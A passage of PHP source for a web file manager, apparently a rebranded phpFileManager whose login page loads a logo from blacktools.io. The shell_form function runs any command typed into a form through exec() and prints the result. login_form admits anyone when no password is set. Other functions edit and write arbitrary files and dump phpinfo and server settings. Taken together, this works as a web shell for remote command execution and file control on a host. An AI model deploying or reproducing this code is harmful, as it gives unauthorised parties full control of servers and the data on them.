3762 <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
3763 </td>
3764 </tr>
3765 <tr bgcolor=\"#DDDDDD\">
3766 <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>
3767 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3768 <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
3769 </td>
3770 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
3771 </td>
3772 <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
3773 <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
3774 </td>
3775 </tr>
3776 </TABLE>
3777 <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
3778 <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"apply_chmod()\"></tr>
3779 </table>
3780 </form>
3781 </body>\n</html>";
3782}
3783function get_mime_type($ext = ''){
3784 $mimes = array(
3785 'hqx' => 'application/mac-binhex40',
3786 'cpt' => 'application/mac-compactpro',
3787 'doc' => 'application/msword',
3788 'bin' => 'application/macbinary',
3789 'dms' => 'application/octet-stream',
3790 'lha' => 'application/octet-stream',
3791 'lzh' => 'application/octet-stream',
3792 'exe' => 'application/octet-stream',
3793 'class' => 'application/octet-stream',
3794 'psd' => 'application/octet-stream',
3795 'so' => 'application/octet-stream',
3796 'sea' => 'application/octet-stream',
3797 'dll' => 'application/octet-stream',
3798 'oda' => 'application/oda',
3799 'pdf' => 'application/pdf',
3800 'ai' => 'application/postscript',
3801 'eps' => 'application/postscript',
3802 'ps' => 'application/postscript',
3803 'smi' => 'application/smil',
3804 'smil' => 'application/smil',
3805 'mif' => 'application/vnd.mif',
3806 'xls' => 'application/vnd.ms-excel',
3807 'ppt' => 'application/vnd.ms-powerpoint',
3808 'pptx' => 'application/vnd.ms-powerpoint',
3809 'wbxml' => 'application/vnd.wap.wbxml',
3810 'wmlc' => 'application/vnd.wap.wmlc',
3811 'dcr' => 'application/x-director',
3812 'dir' => 'application/x-director',
3813 'dxr' => 'application/x-director',
3814 'dvi' => 'application/x-dvi',
3815 'gtar' => 'application/x-gtar',
3816 'php' => 'application/x-httpd-php',
3817 'php4' => 'application/x-httpd-php',
3818 'php3' => 'application/x-httpd-php',
3819 'phtml' => 'application/x-httpd-php',
3820 'phps' => 'application/x-httpd-php-source',
3821 'js' => 'application/x-javascript',
3822 'swf' => 'application/x-shockwave-flash',
3823 'sit' => 'application/x-stuffit',
3824 'tar' => 'application/x-tar',
3825 'tgz' => 'application/x-tar',
3826 'xhtml' => 'application/xhtml+xml',
3827 'xht' => 'application/xhtml+xml',
3828 'zip' => 'application/zip',
3829 'mid' => 'audio/midi',
3830 'midi' => 'audio/midi',
3831 'mpga' => 'audio/mpeg',
3832 'mp2' => 'audio/mpeg',
3833 'mp3' => 'audio/mpeg',
3834 'aif' => 'audio/x-aiff',
3835 'aiff' => 'audio/x-aiff',
3836 'aifc' => 'audio/x-aiff',
3837 'ram' => 'audio/x-pn-realaudio',
3838 'rm' => 'audio/x-pn-realaudio',
3839 'rpm' => 'audio/x-pn-realaudio-plugin',
3840 'ra' => 'audio/x-realaudio',
3841 'rv' => 'video/vnd.rn-realvideo',
3842 'wav' => 'audio/x-wav',
3843 'bmp' => 'image/bmp',
3844 'gif' => 'image/gif',
3845 'jpeg' => 'image/jpeg',
3846 'jpg' => 'image/jpeg',
3847 'jpe' => 'image/jpeg',
3848 'png' => 'image/png',
3849 'tiff' => 'image/tiff',
3850 'tif' => 'image/tiff',
3851 'css' => 'text/css',
3852 'html' => 'text/html',
3853 'htm' => 'text/html',
3854 'shtml' => 'text/html',
3855 'txt' => 'text/plain',
3856 'text' => 'text/plain',
3857 'log' => 'text/plain',
3858 'rtx' => 'text/richtext',
3859 'rtf' => 'text/rtf',
3860 'xml' => 'text/xml',
3861 'xsl' => 'text/xml',
3862 'mpeg' => 'video/mpeg',
3863 'mpg' => 'video/mpeg',
3864 'mpe' => 'video/mpeg',
3865 'qt' => 'video/quicktime',
3866 'mov' => 'video/quicktime',
3867 'avi' => 'video/x-msvideo',
3868 'movie' => 'video/x-sgi-movie',
3869 'doc' => 'application/msword',
3870 'docx' => 'application/msword',
3871 'word' => 'application/msword',
3872 'xl' => 'application/excel',
3873 'xls' => 'application/excel',
3874 'xlsx' => 'application/excel',
3875 'eml' => 'message/rfc822'
3876 );
3877 return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)];
3878}
3879function view(){
3880 global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$passthru;
3881 if (intval($passthru)){
3882 $file = $current_dir.$filename;
3883 if(file_exists($file)){
3884 $is_denied = false;
3885 foreach($download_ext_filter as $key=>$ext){
3886 if (eregi($ext,$filename)){
3887 $is_denied = true;
3888 break;
3889 }
3890 }
3891 if (!$is_denied){
3892 if ($fh = fopen("$file", "rb")){
3893 fclose($fh);
3894 $ext = pathinfo($file, PATHINFO_EXTENSION);
3895 $ctype = get_mime_type($ext);
3896 if ($ctype == "application/octet-stream") $ctype = "text/plain";
3897 header("Pragma: public");
3898 header("Expires: 0");
3899 header("Connection: close");
3900 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
3901 header("Cache-Control: public");
3902 header("Content-Description: File Transfer");
3903 header("Content-Type: ".$ctype);
3904 header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";");
3905 header("Content-Transfer-Encoding: binary");
3906 header("Content-Length: ".filesize($file));
3907 @readfile($file);
3908 exit();
3909 } else alert(et('ReadDenied').": ".$file);
3910 } else alert(et('ReadDenied').": ".$file);
3911 } else alert(et('FileNotFound').": ".$file);
3912 echo "
3913 <script language=\"Javascript\" type=\"text/javascript\">
3914 <!--
3915 window.close();
3916 //-->
3917 </script>";
3918 } else {
3919 html_header();
3920 echo "<body marginwidth=\"0\" marginheight=\"0\">";
3921 $is_reachable_thru_webserver = (stristr($current_dir,$doc_root)!==false);
3922 if ($is_reachable_thru_webserver){
3923 $url = $url_info["scheme"]."://".$url_info["host"];
3924 if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
3925 // Malditas variaveis de sistema!! No windows doc_root é sempre em lowercase... cadê o str_ireplace() ??
3926 $url .= str_replace($doc_root,"","/".$current_dir).$filename;
3927 } else {
3928 $url = addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename=".addslashes($filename)."&passthru=1";
3929 }
3930 echo "
3931 <script language=\"Javascript\" type=\"text/javascript\">
3932 <!--
3933 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
3934 document.location.href='$url';
3935 //-->
3936 </script>
3937 </body>\n</html>";
3938 }
3939}
3940function edit_file_form(){
3941 global $current_dir,$filename,$file_data,$save_file,$path_info;
3942 $file = $current_dir.$filename;
3943 if ($save_file){
3944 $fh=fopen($file,"w");
3945 fputs($fh,$file_data,strlen($file_data));
3946 fclose($fh);
3947 }
3948 $fh=fopen($file,"r");
3949 $file_data=fread($fh, filesize($file));
3950 fclose($fh);
3951 html_header();
3952 echo "<body marginwidth=\"0\" marginheight=\"0\">
3953 <table border=0 cellspacing=0 cellpadding=5 align=center>
3954 <form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">
3955 <input type=hidden name=action value=\"7\">
3956 <input type=hidden name=save_file value=\"1\">
3957 <input type=hidden name=current_dir value=\"$current_dir\">
3958 <input type=hidden name=filename value=\"$filename\">
3959 <tr><th colspan=2>".$file."</th></tr>
3960 <tr><td colspan=2><textarea name=file_data style='width:1000px;height:680px;'>".html_encode($file_data)."</textarea></td></tr>
3961 <tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>
3962 </form>
3963 <form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">
3964 <input type=hidden name=action value=\"7\">
3965 <input type=hidden name=current_dir value=\"$current_dir\">
3966 <input type=hidden name=filename value=\"$filename\">
3967 </form>
3968 </table>
3969 <script language=\"Javascript\" type=\"text/javascript\">
3970 <!--
3971 window.moveTo((window.screen.width-1024)/2,((window.screen.height-728)/2)-20);
3972 function go_save(){";
3973 if (is_writable($file)) {
3974 echo "
3975 document.edit_form.submit();";
3976 } else {
3977 echo "
3978 if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
3979 }
3980 echo "
3981 }
3982 //-->
3983 </script>
3984 </body>\n</html>";
3985}
3986function config_form(){
3987 global $cfg;
3988 global $current_dir,$fm_self,$doc_root,$path_info,$fm_current_root,$lang,$error_reporting,$version;
3989 global $config_action,$newpass,$newlang,$newerror,$newfm_root;
3990 $Warning = "";
3991 switch ($config_action){
3992 case 1:
3993 if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){
3994 $data = "";
3995 while (!feof($fh)) $data .= fread($fh,1024);
3996 fclose($fh);
3997 $data = unserialize($data);
3998 $ChkVerWarning = "<tr><td align=right> ";
3999 if (is_array($data)&&count($data)){
4000 $ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\">
4001 <img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" style=\"border: 1px solid #AAAAAA\" alt=\"SourceForge.net Logo\" />
4002 </a>";
4003 if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";
4004 else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";
4005 } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
4006 } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
4007 break;
4008 case 2:
4009 $reload = false;
4010 if ($cfg->data['lang'] != $newlang){
4011 $cfg->data['lang'] = $newlang;
4012 $lang = $newlang;
4013 $reload = true;
4014 }
4015 if ($cfg->data['error_reporting'] != $newerror){
4016 $cfg->data['error_reporting'] = $newerror;
4017 $error_reporting = $newerror;
4018 $reload = true;
4019 }
4020 $newfm_root = format_path($newfm_root);
4021 if ($cfg->data['fm_root'] != $newfm_root){
4022 $cfg->data['fm_root'] = $newfm_root;
4023 if (strlen($newfm_root)) $current_dir = $newfm_root;
4024 else $current_dir = $path_info["dirname"]."/";
4025 setcookie("fm_current_root", $newfm_root , 0 , "/");
4026 $reload = true;
4027 }
4028 $cfg->save();
4029 if ($reload){
4030 reloadframe("window.opener.parent",2);
4031 reloadframe("window.opener.parent",3);
4032 }
4033 $Warning1 = et('ConfSaved')."...";
4034 break;
4035 case 3:
4036 if ($cfg->data['auth_pass'] != md5($newpass)){
4037 $cfg->data['auth_pass'] = md5($newpass);
4038 setcookie("loggedon", md5($newpass) , 0 , "/");
4039 }
4040 $cfg->save();
4041 $Warning2 = et('PassSaved')."...";
4042 break;
4043 }
4044 html_header();
4045 echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
4046 echo "
4047 <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
4048 <tr><td colspan=2 align=center><b>".uppercase(et('Configurations'))."</b></td></tr>
4049 </table>
4050 <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
4051 <form>
4052 <tr><td align=right width=\"1%\">".et('Version').":<td>$version (".get_size($fm_self).")</td></tr>
4053 <tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a> <input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\"></td></tr>
4054 </form>";
4055 if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];
4056 echo "
4057 <style type=\"text/css\">
4058 .buymeabeer {
4059 background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 0 no-repeat;
4060 text-indent: -9999px;
4061 width: 128px;
4062 height: 31px;
4063 border: none;
4064 cursor: hand;
4065 cursor: pointer;
4066 }
4067 .buymeabeer:hover {
4068 background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 -31px no-repeat;
4069 }
4070 </style>
4071 <tr><td align=right>Like this project?</td><td>
4072 <form name=\"buymeabeer_form\" action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\">
4073 <input type=\"hidden\" name=\"cmd\" value=\"_xclick\">
4074 <input type=\"hidden\" name=\"business\" value=\"dulldusk@gmail.com\">
4075 <input type=\"hidden\" name=\"lc\" value=\"BR\">
4076 <input type=\"hidden\" name=\"item_name\" value=\"A Beer\">
4077 <input type=\"hidden\" name=\"button_subtype\" value=\"services\">
4078 <input type=\"hidden\" name=\"currency_code\" value=\"USD\">
4079 <input type=\"hidden\" name=\"tax_rate\" value=\"0.000\">
4080 <input type=\"hidden\" name=\"shipping\" value=\"0.00\">
4081 <input type=\"hidden\" name=\"bn\" value=\"PP-BuyNowBF:btn_buynowCC_LG.gif:NonHostedGuest\">
4082 <input type=\"submit\" class=\"buymeabeer\" value=\"buy me a beer\">
4083 <input type=\"hidden\" name=\"buyer_credit_promo_code\" value=\"\">
4084 <input type=\"hidden\" name=\"buyer_credit_product_category\" value=\"\">
4085 <input type=\"hidden\" name=\"buyer_credit_shipping_method\" value=\"\">
4086 <input type=\"hidden\" name=\"buyer_credit_user_address_change\" value=\"\">
4087 <input type=\"hidden\" name=\"tax\" value=\"0\">
4088 <input type=\"hidden\" name=\"no_shipping\" value=\"1\">
4089 <input type=\"hidden\" name=\"return\" value=\"http://phpfm.sf.net\">
4090 <input type=\"hidden\" name=\"cancel_return\" value=\"http://phpfm.sf.net\">
4091 </form>
4092 </td></tr>
4093 <form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4094 <input type=hidden name=action value=2>
4095 <input type=hidden name=config_action value=0>
4096 <tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>
4097 <tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
4098 <tr><td align=right>".et('Lang').":<td>
4099 <select name=newlang>
4100 <option value=cat>Catalan - by Pere Borràs AKA @Norl
4101 <option value=nl>Dutch - by Leon Buijs
4102 <option value=en>English - by Fabricio Seger Kolling
4103 <option value=fr1>French - by Jean Bilwes
4104 <option value=fr2>French - by Sharky
4105 <option value=fr3>French - by Michel Lainey
4106 <option value=de1>German - by Guido Ogrzal
4107 <option value=de2>German - by AXL
4108 <option value=de3>German - by Mathias Rothe
4109 <option value=it1>Italian - by Valerio Capello
4110 <option value=it2>Italian - by Federico CorrÃ
4111 <option value=it3>Italian - by Luca Zorzi
4112 <option value=it4>Italian - by Gianni
4113 <option value=kr>Korean - by Airplanez
4114 <option value=pt>Portuguese - by Fabricio Seger Kolling
4115 <option value=es>Spanish - by Sh Studios
4116 <option value=ru>Russian - by Евгений Рашев
4117 <option value=tr>Turkish - by Necdet Yazilimlari
4118 </select></td></tr>
4119 <tr><td align=right>".et('ErrorReport').":<td><select name=newerror>
4120 <option value=\"0\">Disabled
4121 <option value=\"1\">Show Errors
4122 <option value=\"2\">Show Errors, Warnings and Notices
4123 </select></td></tr>
4124 <tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";
4125 if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";
4126 echo "
4127 <tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newpass value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
4128 <tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";
4129 if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";
4130 echo "</td></tr>";
4131 echo "
4132 </form>
4133 </table>
4134 <script language=\"Javascript\" type=\"text/javascript\">
4135 <!--
4136 function set_select(sel,val){
4137 for(var x=0;x<sel.length;x++){
4138 if(sel.options[x].value==val){
4139 sel.options[x].selected=true;
4140 break;
4141 }
4142 }
4143 }
4144 set_select(document.config_form.newlang,'".$cfg->data['lang']."');
4145 set_select(document.config_form.newerror,'".$cfg->data['error_reporting']."');
4146 function test_config_form(arg){
4147 document.config_form.config_action.value = arg;
4148 document.config_form.submit();
4149 }
4150 function open_win(url){
4151 var w = 800;
4152 var h = 600;
4153 window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
4154 }
4155 window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
4156 window.focus();
4157 //-->
4158 </script>
4159 ";
4160 echo "</body>\n</html>";
4161}
4162function shell_form(){
4163 global $current_dir,$shell_form,$cmd_arg,$path_info;
4164 $data_out = "";
4165 if (strlen($cmd_arg)){
4166 exec($cmd_arg,$mat);
4167 if (count($mat)) $data_out = trim(implode("\n",$mat));
4168 }
4169 switch ($shell_form){
4170 case 1:
4171 html_header();
4172 echo "
4173 <body marginwidth=\"0\" marginheight=\"0\">
4174 <table border=0 cellspacing=0 cellpadding=0 align=center>
4175 <form name=\"data_form\">
4176 <tr><td><textarea name=data_out rows=36 cols=105 READONLY=\"1\"></textarea></td></tr>
4177 </form>
4178 </table>
4179 </body></html>";
4180 break;
4181 case 2:
4182 html_header();
4183 echo "
4184 <body marginwidth=\"0\" marginheight=\"0\">
4185 <table border=0 cellspacing=0 cellpadding=0 align=center>
4186 <form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4187 <input type=hidden name=current_dir value=\"$current_dir\">
4188 <input type=hidden name=action value=\"9\">
4189 <input type=hidden name=shell_form value=\"2\">
4190 <tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
4191 </form>";
4192 echo "
4193 <script language=\"Javascript\" type=\"text/javascript\">
4194 <!--";
4195 if (strlen($data_out)) echo "
4196 var val = '# ".html_encode($cmd_arg)."\\n".html_encode(str_replace("<","[",str_replace(">","]",str_replace("\n","\\n",str_replace("'","\'",str_replace("\\","\\\\",$data_out))))))."\\n';
4197 parent.frame1.document.data_form.data_out.value += val;
4198 parent.frame1.document.data_form.data_out.scrollTop = parent.frame1.document.data_form.data_out.scrollHeight;";
4199 echo "
4200 document.shell_form.cmd_arg.focus();
4201 //-->
4202 </script>
4203 ";
4204 echo "
4205 </table>
4206 </body></html>";
4207 break;
4208 default:
4209 html_header("
4210 <script language=\"Javascript\" type=\"text/javascript\">
4211 <!--
4212 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
4213 //-->
4214 </script>");
4215 echo "
4216 <frameset rows=\"570,*\" framespacing=\"0\" frameborder=no>
4217 <frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4218 <frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
4219 </frameset>
4220 </html>";
4221 }
4222}
4223function server_info(){
4224 if (!@phpinfo()) echo et('NoPhpinfo')."...";
4225 echo "<br><br>";
4226 $a=ini_get_all();
4227 $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
4228 $output.="<tr><th colspan=2>ini_get_all()</td></tr>";
4229 while(list($key, $value)=each($a)) {
4230 list($k, $v)= each($a[$key]);
4231 $output.="<tr><td align=right>$key</td><td>$v</td></tr>";
4232 }
4233 $output.="</table>";
4234 echo $output;
4235 echo "<br><br>";
4236 $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
4237 $output.="<tr><th colspan=2>\$_SERVER</td></tr>";
4238 foreach ($_SERVER as $k=>$v) {
4239 $output.="<tr><td align=right>$k</td><td>$v</td></tr>";
4240 }
4241 $output.="</table>";
4242 echo $output;
4243 echo "<br><br>";
4244 echo "<table border=1 cellspacing=0 cellpadding=4 align=center>";
4245 $safe_mode=trim(ini_get("safe_mode"));
4246 if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
4247 else $safe_mode=true;
4248 $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN');
4249 echo "<tr><td colspan=2>".php_uname();
4250 echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
4251 if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
4252 else echo "<tr><td>sisop<td>Linux<br>";
4253 echo "</table><br><br><table border=1 cellspacing=0 cellpadding=4 align=center>";
4254 $display_errors=ini_get("display_errors");
4255 $ignore_user_abort = ignore_user_abort();
4256 $max_execution_time = ini_get("max_execution_time");
4257 $upload_max_filesize = ini_get("upload_max_filesize");
4258 $memory_limit=ini_get("memory_limit");
4259 $output_buffering=ini_get("output_buffering");
4260 $default_socket_timeout=ini_get("default_socket_timeout");
4261 $allow_url_fopen = ini_get("allow_url_fopen");
4262 $magic_quotes_gpc = ini_get("magic_quotes_gpc");
4263 ignore_user_abort(true);
4264 ini_set("display_errors",0);
4265 ini_set("max_execution_time",0);
4266 ini_set("upload_max_filesize","10M");
4267 ini_set("memory_limit","20M");
4268 ini_set("output_buffering",0);
4269 ini_set("default_socket_timeout",30);
4270 ini_set("allow_url_fopen",1);
4271 ini_set("magic_quotes_gpc",0);
4272 echo "<tr><td> <td>Get<td>Set<td>Get";
4273 echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
4274 echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
4275 echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
4276 echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
4277 echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
4278 echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
4279 echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
4280 echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
4281 echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
4282 echo "</table><br><br>";
4283 echo "
4284 <script language=\"Javascript\" type=\"text/javascript\">
4285 <!--
4286 window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
4287 window.focus();
4288 //-->
4289 </script>";
4290 echo "</body>\n</html>";
4291}
4292// +--------------------------------------------------
4293// | Session
4294// +--------------------------------------------------
4295function logout(){
4296 setcookie("loggedon",0,0,"/");
4297 login_form();
4298}
4299function login(){
4300 global $pass,$auth_pass,$path_info;
4301 if (md5(trim($pass)) == $auth_pass){
4302 setcookie("loggedon",$auth_pass,0,"/");
4303 header ("Location: ".$path_info["basename"]."");
4304 } else header ("Location: ".$path_info["basename"]."?erro=1");
4305}
4306function login_form(){
4307 global $erro,$auth_pass,$path_info;
4308 html_header();
4309 echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";
4310 if ($auth_pass != md5("")){
4311 echo "
4312 <table border=0 cellspacing=0 cellpadding=5>
4313 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4314 <tr>
4315 <td><b>".et('FileMan')."</b>
4316 </tr>
4317 <tr>
4318 <td align=left><font size=4>".et('TypePass').".</font>
4319 </tr>
4320 <tr>
4321 <td><input name=pass type=password size=10> <input type=submit value=\"".et('Send')."\">
4322 </tr>
4323 ";
4324 if (strlen($erro)) echo "
4325 <tr>
4326 <td align=left><font color=red size=4>".et('InvPass').".</font>
4327 </tr>
4328 ";
4329 echo "
4330 </form>
4331 </table>
4332 <script language=\"Javascript\" type=\"text/javascript\">
4333 <!--
4334 document.login_form.pass.focus();
4335 //-->
4336 </script>
4337 ";
4338 } else {
4339 echo "
4340 <table border=0 cellspacing=0 cellpadding=5>
4341 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
4342 <input type=hidden name=frame value=3>
4343 <input type=hidden name=pass value=\"\">
4344 <tr>
4345 <td><img src='http://blacktools.io/images/logo.jpg' height='30' width='30'/><font size='6'>".et('FileMan')."<font>
4346 </tr>
4347 <tr>
4348 <td><input type=submit value=\"".et('Enter')."\">
4349 </tr>
4350 </form>
4351 </table>
4352 ";
4353 }
4354 echo "</body>\n</html>";
4355}
4356function frame3(){
4357 global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time;
4358 global $dir_dest,$current_dir,$dir_before;
4359 global $selected_file_list,$selected_dir_list,$old_name,$new_name;
4360 global $action,$or_by,$order_dir_list_by;
4361 if (!isset($order_dir_list_by)){
4362 $order_dir_list_by = "1A";
4363 setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/");
4364 } elseif (strlen($or_by)){
4365 $order_dir_list_by = $or_by;
4366 setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/");
4367 }
4368 html_header();
4369 echo "<body>\n";
4370 if ($action){
4371 switch ($action){
4372 case 1: // create dir
4373 if (strlen($cmd_arg)){
4374 $cmd_arg = format_path($current_dir.$cmd_arg);
4375 if (!file_exists($cmd_arg)){
4376 @mkdir($cmd_arg,0755);
4377 @chmod($cmd_arg,0755);
4378 reloadframe("parent",2,"&ec_dir=".$cmd_arg);
4379 } else alert(et('FileDirExists').".");
4380 }
4381 break;
4382 case 2: // create arq
4383 if (strlen($cmd_arg)){
4384 $cmd_arg = $current_dir.$cmd_arg;
4385 if (!file_exists($cmd_arg)){
4386 if ($fh = @fopen($cmd_arg, "w")){
4387 @fclose($fh);
4388 }
4389 @chmod($cmd_arg,0644);
4390 } else alert(et('FileDirExists').".");
4391 }
4392 break;
4393 case 3: // rename arq ou dir
4394 if ((strlen($old_name))&&(strlen($new_name))){
4395 rename($current_dir.$old_name,$current_dir.$new_name);
4396 if (is_dir($current_dir.$new_name)) reloadframe("parent",2);
4397 }
4398 break;
4399 case 4: // delete sel
4400 if(strstr($current_dir,$fm_current_root)){
4401 if (strlen($selected_file_list)){
4402 $selected_file_list = explode("<|*|>",$selected_file_list);
4403 if (count($selected_file_list)) {
4404 for($x=0;$x<count($selected_file_list);$x++) {
4405 $selected_file_list[$x] = trim($selected_file_list[$x]);
4406 if (strlen($selected_file_list[$x])) total_delete($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4407 }
4408 }
4409 }
4410 if (strlen($selected_dir_list)){
4411 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4412 if (count($selected_dir_list)) {
4413 for($x=0;$x<count($selected_dir_list);$x++) {
4414 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4415 if (strlen($selected_dir_list[$x])) total_delete($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4416 }
4417 reloadframe("parent",2);
4418 }
4419 }
4420 }
4421 break;
4422 case 5: // copy sel
4423 if (strlen($dir_dest)){
4424 if(uppercase($dir_dest) != uppercase($current_dir)){
4425 if (strlen($selected_file_list)){
4426 $selected_file_list = explode("<|*|>",$selected_file_list);
4427 if (count($selected_file_list)) {
4428 for($x=0;$x<count($selected_file_list);$x++) {
4429 $selected_file_list[$x] = trim($selected_file_list[$x]);
4430 if (strlen($selected_file_list[$x])) total_copy($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4431 }
4432 }
4433 }
4434 if (strlen($selected_dir_list)){
4435 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4436 if (count($selected_dir_list)) {
4437 for($x=0;$x<count($selected_dir_list);$x++) {
4438 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4439 if (strlen($selected_dir_list[$x])) total_copy($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4440 }
4441 reloadframe("parent",2);
4442 }
4443 }
4444 $current_dir = $dir_dest;
4445 }
4446 }
4447 break;
4448 case 6: // move sel
4449 if (strlen($dir_dest)){
4450 if(uppercase($dir_dest) != uppercase($current_dir)){
4451 if (strlen($selected_file_list)){
4452 $selected_file_list = explode("<|*|>",$selected_file_list);
4453 if (count($selected_file_list)) {
4454 for($x=0;$x<count($selected_file_list);$x++) {
4455 $selected_file_list[$x] = trim($selected_file_list[$x]);
4456 if (strlen($selected_file_list[$x])) total_move($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
4457 }
4458 }
4459 }
4460 if (strlen($selected_dir_list)){
4461 $selected_dir_list = explode("<|*|>",$selected_dir_list);
4462 if (count($selected_dir_list)) {
4463 for($x=0;$x<count($selected_dir_list);$x++) {
4464 $selected_dir_list[$x] = trim($selected_dir_list[$x]);
4465 if (strlen($selected_dir_list[$x])) total_move($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
4466 }
4467 reloadframe("parent",2);
4468 }
4469 }
4470 $current_dir = $dir_dest;
4471 }
4472 }
4473 break;
4474 case 71: // compress sel
4475 if (strlen($cmd_arg)){
4476 ignore_user_abort(true);
4477 ini_set("display_errors",0);
4478 ini_set("max_execution_time",0);
4479 $zipfile=false;
